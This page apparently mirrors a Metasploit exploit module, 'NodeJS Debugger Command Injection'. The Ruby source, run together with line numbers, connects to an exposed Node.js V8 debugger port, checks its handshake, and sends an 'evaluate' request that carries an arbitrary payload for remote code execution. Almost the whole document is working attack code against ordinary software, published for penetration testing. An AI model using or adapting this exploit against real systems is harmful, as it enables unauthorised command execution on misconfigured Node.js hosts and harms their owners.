Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/misc/nodejs_v8_debugger.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp910MESSAGE_HEADER_TEMPLATE = "Content-Length: %{length}\r\n\r\n"1112def initialize(info={})13super(update_info(info,14'Name' => "NodeJS Debugger Command Injection",15'Description' => %q{16This module uses the "evaluate" request type of the NodeJS V817debugger protocol (version 1) to evaluate arbitrary JS and18call out to other system commands. The port (default 5858) is19not exposed non-locally in default configurations, but may be20exposed either intentionally or via misconfiguration.21},22'License' => MSF_LICENSE,23'Author' => [ 'Patrick Thomas <pst[at]coffeetocode.net>' ],24'References' =>25[26[ 'URL', 'https://github.com/buggerjs/bugger-v8-client/blob/master/PROTOCOL.md' ],27[ 'URL', 'https://github.com/nodejs/node/pull/8106' ]28],29'Targets' =>30[31['NodeJS', { 'Platform' => 'nodejs', 'Arch' => 'nodejs' } ],32],33'Privileged' => false,34'DisclosureDate' => '2016-08-15',35'DefaultTarget' => 0)36)3738register_options(39[40Opt::RPORT(5858)41])42end4344def make_eval_message45msg_body = { seq: 1,46type: 'request',47command: 'evaluate',48arguments: { expression: payload.encoded,49global: true,50maxStringLength:-151}52}.to_json53msg_header = MESSAGE_HEADER_TEMPLATE % {:length => msg_body.length}54msg_header + msg_body55end5657def check58connect59res = sock.get_once60disconnect6162if res.include? "V8-Version" and res.include? "Protocol-Version: 1"63vprint_status("Got debugger handshake:\n#{res}")64return Exploit::CheckCode::Appears65end6667Exploit::CheckCode::Unknown68end6970def exploit71connect72# must consume incoming handshake before sending payload73buf = sock.get_once74msg = make_eval_message75print_status("Sending #{msg.length} byte payload...")76vprint_status("#{msg}")77sock.put(msg)78buf = sock.get_once7980if buf.include? '"command":"evaluate","success":true'81print_status("Got success response")82elsif buf.include? '"command":"evaluate","success":false'83print_error("Got failure response: #{buf}")84else85print_error("Got unexpected response: #{buf}")86end87end8889end909192